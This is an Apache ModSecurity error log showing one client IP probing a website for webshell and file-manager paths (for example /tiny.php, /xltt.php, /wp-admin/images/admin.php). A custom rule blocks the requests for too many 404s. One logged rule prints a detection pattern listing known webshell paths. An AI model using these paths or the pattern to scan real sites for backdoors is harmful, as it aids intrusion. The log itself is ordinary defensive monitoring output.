[Wed Apr 22 23:37:03.546686 2026] [:error] [pid 9085:tid 9097] [client 68.219.234.17:8164] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aejrH9-_-or9vQnlWnrkWAAAAUo"]
[Wed Apr 22 23:37:04.267354 2026] [:error] [pid 6250:tid 6262] [client 68.219.234.17:35435] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aejrIA-iZeQkqmQVfj4yCgAAAEg"]
[Wed Apr 22 23:37:04.963139 2026] [:error] [pid 6384:tid 6403] [client 68.219.234.17:35470] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aejrID58M3t15ICeWHWYIQAAANA"]
[Wed Apr 22 23:37:05.545021 2026] [:error] [pid 9085:tid 9095] [client 68.219.234.17:35446] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aejrId-_-or9vQnlWnrkXAAAAUg"]
[Wed Apr 22 23:37:06.186301 2026] [:error] [pid 9085:tid 9104] [client 68.219.234.17:35431] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aejrIt-_-or9vQnlWnrkXQAAAVE"]
[Wed Apr 22 23:37:07.523506 2026] [:error] [pid 6344:tid 6351] [client 68.219.234.17:35502] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aejrI0DOTF-pkQnDeUkdeQAAAAI"]
[Wed Apr 22 23:37:08.517387 2026] [:error] [pid 6384:tid 6402] [client 68.219.234.17:35448] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aejrJD58M3t15ICeWHWYJgAAAM8"]
[Wed Apr 22 23:37:09.100662 2026] [:error] [pid 9085:tid 9093] [client 68.219.234.17:35395] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aejrJd-_-or9vQnlWnrkYQAAAUY"]
[Wed Apr 22 23:37:09.929408 2026] [:error] [pid 23776:tid 23800] [client 68.219.234.17:35500] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aejrJbRExf-1pAbSeJsv2gAAAZY"]
[Wed Apr 22 23:37:10.562950 2026] [:error] [pid 6250:tid 6264] [client 68.219.234.17:35444] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aejrJg-iZeQkqmQVfj4yEgAAAEo"]
[Wed Apr 22 23:37:11.210464 2026] [:error] [pid 6384:tid 6389] [client 68.219.234.17:35480] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/link.php"] [unique_id "aejrJz58M3t15ICeWHWYMQAAAMI"]
[Wed Apr 22 23:37:11.882519 2026] [:error] [pid 6250:tid 6257] [client 68.219.234.17:8131] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aejrJw-iZeQkqmQVfj4yFAAAAEM"]
[Wed Apr 22 23:37:12.705605 2026] [:error] [pid 23776:tid 23783] [client 68.219.234.17:35455] File does not exist: /usr/local/apache/htdocs/suspended-page/dass.php
[Wed Apr 22 23:37:12.978575 2026] [:error] [pid 23776:tid 23791] [client 68.219.234.17:35455] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Wed Apr 22 23:37:13.251367 2026] [:error] [pid 23776:tid 23790] [client 68.219.234.17:35455] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Wed Apr 22 23:37:13.522524 2026] [:error] [pid 23776:tid 23785] [client 68.219.234.17:35455] File does not exist: /usr/local/apache/htdocs/suspended-page/ws81.php
[Wed Apr 22 23:37:13.796068 2026] [:error] [pid 23776:tid 23797] [client 68.219.234.17:35455] File does not exist: /usr/local/apache/htdocs/suspended-page/r2.php
[Wed Apr 22 23:37:14.063925 2026] [:error] [pid 23776:tid 23787] [client 68.219.234.17:35455] [client 68.219.234.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aejrKrRExf-1pAbSeJsv5AAAAYk"]
[Wed Apr 22 23:37:14.853976 2026] [:error] [pid 6250:tid 6272] [client 68.219.234.17:8174] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Apr 22 23:37:15.142180 2026] [:error] [pid 6250:tid 6275] [client 68.219.234.17:8174] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Wed Apr 22 23:37:15.429131 2026] [:error] [pid 6250:tid 6271] [client 68.219.234.17:8174] File does not exist: /usr/local/apache/htdocs/suspended-page/f6.php
[Wed Apr 22 23:37:15.715920 2026] [:error] [pid 6250:tid 6255] [client 68.219.234.17:8174] File does not exist: /usr/local/apache/htdocs/suspended-page/roksad1.php
[Wed Apr 22 23:37:16.009424 2026] [:error] [pid 6250:tid 6265] [client 68.219.234.17:8174] File does not exist: /usr/local/apache/htdocs/suspended-page/fone1.php
[Wed Apr 22 23:37:16.297487 2026] [:error] [pid 6250:tid 6264] [client 68.219.234.17:8174] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Wed Apr 22 23:37:16.643142 2026] [:error] [pid 6250:tid 6273] [client 68.219.234.17:8174] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aejrLA-iZeQkqmQVfj4yJgAAAFM"]
[Wed Apr 22 23:37:17.185245 2026] [:error] [pid 6250:tid 6269] [client 68.219.234.17:8130] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aejrLQ-iZeQkqmQVfj4yKAAAAE8"]
[Wed Apr 22 23:37:17.744247 2026] [:error] [pid 6250:tid 6270] [client 68.219.234.17:35475] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aejrLQ-iZeQkqmQVfj4yLAAAAFA"]
[Wed Apr 22 23:37:18.348862 2026] [:error] [pid 6384:tid 6401] [client 68.219.234.17:35511] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xltt.php"] [unique_id "aejrLj58M3t15ICeWHWYQgAAAM4"]
[Wed Apr 22 23:37:19.049831 2026] [:error] [pid 23776:tid 23785] [client 68.219.234.17:8144] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aejrL7RExf-1pAbSeJsv7AAAAYc"]
[Wed Apr 22 23:37:19.684725 2026] [:error] [pid 6344:tid 6355] [client 68.219.234.17:8122] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aejrL0DOTF-pkQnDeUkdlAAAAAY"]
[Wed Apr 22 23:37:20.304900 2026] [:error] [pid 9085:tid 9098] [client 68.219.234.17:35401] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aejrMN-_-or9vQnlWnrkbgAAAUs"]
[Wed Apr 22 23:37:20.918054 2026] [:error] [pid 9085:tid 9105] [client 68.219.234.17:35460] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "aejrMN-_-or9vQnlWnrkbwAAAVI"]
[Wed Apr 22 23:37:21.723740 2026] [:error] [pid 6384:tid 6398] [client 68.219.234.17:8182] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aejrMT58M3t15ICeWHWYQwAAAMs"]
[Wed Apr 22 23:37:22.320625 2026] [:error] [pid 6344:tid 6370] [client 68.219.234.17:8100] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aejrMkDOTF-pkQnDeUkdmAAAABU"]
[Wed Apr 22 23:37:23.099661 2026] [:error] [pid 9085:tid 9106] [client 68.219.234.17:35441] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aejrM9-_-or9vQnlWnrkdQAAAVM"]
[Wed Apr 22 23:37:23.741215 2026] [:error] [pid 6384:tid 6392] [client 68.219.234.17:8186] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dx.php"] [unique_id "aejrMz58M3t15ICeWHWYSAAAAMU"]
[Wed Apr 22 23:37:24.355588 2026] [:error] [pid 6384:tid 6411] [client 68.219.234.17:35424] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aejrND58M3t15ICeWHWYSwAAANg"]
[Wed Apr 22 23:37:25.157681 2026] [:error] [pid 6384:tid 6394] [client 68.219.234.17:35481] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aejrNT58M3t15ICeWHWYUwAAAMc"]
[Wed Apr 22 23:37:25.925727 2026] [:error] [pid 23776:tid 23798] [client 68.219.234.17:35479] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aejrNbRExf-1pAbSeJsv-QAAAZQ"]
[Wed Apr 22 23:37:26.649583 2026] [:error] [pid 6384:tid 6406] [client 68.219.234.17:35405] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "aejrNj58M3t15ICeWHWYWgAAANM"]
[Wed Apr 22 23:37:27.308907 2026] [:error] [pid 23776:tid 23792] [client 68.219.234.17:35461] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aejrN7RExf-1pAbSeJsv_QAAAY4"]
[Wed Apr 22 23:37:27.947456 2026] [:error] [pid 23776:tid 23802] [client 68.219.234.17:35474] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aejrN7RExf-1pAbSeJsv_gAAAZg"]
[Wed Apr 22 23:37:28.632420 2026] [:error] [pid 6252:tid 6312] [client 68.219.234.17:8073] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aejrOOtGYuiYb1nWBpRrYwAAAQA"]
[Wed Apr 22 23:37:29.484369 2026] [:error] [pid 6384:tid 6400] [client 68.219.234.17:35412] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wglum1.php"] [unique_id "aejrOT58M3t15ICeWHWYWwAAAM0"]
[Wed Apr 22 23:37:30.106735 2026] [:error] [pid 9085:tid 9089] [client 68.219.234.17:35493] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aejrOt-_-or9vQnlWnrkjgAAAUI"]
[Wed Apr 22 23:37:30.919248 2026] [:error] [pid 6384:tid 6389] [client 68.219.234.17:35442] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aejrOj58M3t15ICeWHWYXgAAAMI"]
[Wed Apr 22 23:37:31.557989 2026] [:error] [pid 9085:tid 9097] [client 68.219.234.17:35443] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aejrO9-_-or9vQnlWnrkmQAAAUo"]
[Wed Apr 22 23:37:32.362742 2026] [:error] [pid 9085:tid 9094] [client 68.219.234.17:35447] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "aejrPN-_-or9vQnlWnrknQAAAUc"]
[Wed Apr 22 23:37:33.592139 2026] [:error] [pid 9085:tid 9087] [client 68.219.234.17:8183] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aejrPd-_-or9vQnlWnrkogAAAUA"]
[Wed Apr 22 23:37:34.784084 2026] [:error] [pid 9085:tid 9111] [client 68.219.234.17:35484] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aejrPt-_-or9vQnlWnrkqQAAAVg"]
[Wed Apr 22 23:37:35.820916 2026] [:error] [pid 6250:tid 6256] [client 68.219.234.17:8083] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aejrPw-iZeQkqmQVfj4yOQAAAEI"]
[Wed Apr 22 23:37:36.575387 2026] [:error] [pid 6384:tid 6410] [client 68.219.234.17:8138] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "aejrQD58M3t15ICeWHWYaAAAANc"]
[Wed Apr 22 23:37:37.541897 2026] [:error] [pid 23776:tid 23789] [client 68.219.234.17:35498] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aejrQbRExf-1pAbSeJswDAAAAYs"]
[Wed Apr 22 23:37:38.259685 2026] [:error] [pid 9085:tid 9107] [client 68.219.234.17:35415] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aejrQt-_-or9vQnlWnrkqgAAAVQ"]
[Wed Apr 22 23:37:38.876469 2026] [:error] [pid 23776:tid 23801] [client 68.219.234.17:8077] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aejrQrRExf-1pAbSeJswDwAAAZc"]
[Wed Apr 22 23:37:39.462072 2026] [:error] [pid 6252:tid 6312] [client 68.219.234.17:35408] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xynz.php"] [unique_id "aejrQ-tGYuiYb1nWBpRrbwAAAQA"]
[Wed Apr 22 23:37:40.378703 2026] [:error] [pid 6344:tid 6350] [client 68.219.234.17:35486] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aejrREDOTF-pkQnDeUkdpAAAAAE"]
[Wed Apr 22 23:37:41.049157 2026] [:error] [pid 6344:tid 6351] [client 68.219.234.17:8082] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aejrRUDOTF-pkQnDeUkdpQAAAAI"]
[Wed Apr 22 23:37:42.084303 2026] [:error] [pid 6384:tid 6389] [client 68.219.234.17:8171] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aejrRj58M3t15ICeWHWYcwAAAMI"]
[Wed Apr 22 23:37:42.951409 2026] [:error] [pid 6384:tid 6401] [client 68.219.234.17:8150] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "aejrRj58M3t15ICeWHWYdgAAAM4"]
[Wed Apr 22 23:37:43.827510 2026] [:error] [pid 23776:tid 23795] [client 68.219.234.17:35392] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aejrR7RExf-1pAbSeJswGQAAAZE"]
[Wed Apr 22 23:37:44.571614 2026] [:error] [pid 23776:tid 23792] [client 68.219.234.17:8067] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aejrSLRExf-1pAbSeJswHAAAAY4"]
[Wed Apr 22 23:37:45.304061 2026] [:error] [pid 6344:tid 6353] [client 68.219.234.17:8159] [client 68.219.234.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/press.php"] [unique_id "aejrSUDOTF-pkQnDeUkdqAAAAAQ"]
